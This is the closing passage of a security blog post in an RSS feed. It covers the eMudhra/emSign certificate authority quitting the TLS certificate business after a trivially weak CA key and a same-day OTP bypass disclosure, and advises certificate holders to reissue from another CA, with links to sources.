&lt;p&gt;Root programs don't just delete a CA overnight when it exits voluntarily — existing eMudhra/emSign certificates burn toward their notAfter with a communicated sunset, and customers migrate to another CA (and after this week, "another CA" now comes with a due-diligence question: &lt;em&gt;show me your key-generation ceremony&lt;/em&gt;). The practical move for anyone holding an emSign-issued certificate today: don't wait for the sunset. Reissue from a CA whose intermediates you can find in CT logs. That's the whole lesson of the week in one procurement line.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Tuesday: the CA key was the number 4. Friday-to-Wednesday: blocked by every root program. Today: the board quits the business, cites free competitors and 1% of revenue, and blames the amplification — and a 1FA bypass lands the same day. The system worked at both layers; the scrutiny was exactly as proportionate as the trust being sold. And the one claim you'd want to check is unverifiable by design, because the CA never entered the public log.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://emudhra.com/en/press-release/emudhra-to-exit-global-ssl-tls-certificate-business" rel="noopener noreferrer"&gt;eMudhra press release&lt;/a&gt; · &lt;a href="https://dev.to/slabb/a-ca-private-key-was-the-number-4-your-curl-still-trusts-it-cve-2026-111943-45o4"&gt;Part 1 — A CA private key was the number 4&lt;/a&gt; · &lt;a href="https://mastodon.catgirl.cloud/@49016/117475976434068995" rel="noopener noreferrer"&gt;1FA OTP bypass disclosure&lt;/a&gt; · &lt;a href="https://emudhra.we-have-a-problem.com/" rel="noopener noreferrer"&gt;official disclosure site&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>infosec</category>
      <category>pki</category>
      <category>tls</category>
    </item>
  </channel>
</rss>
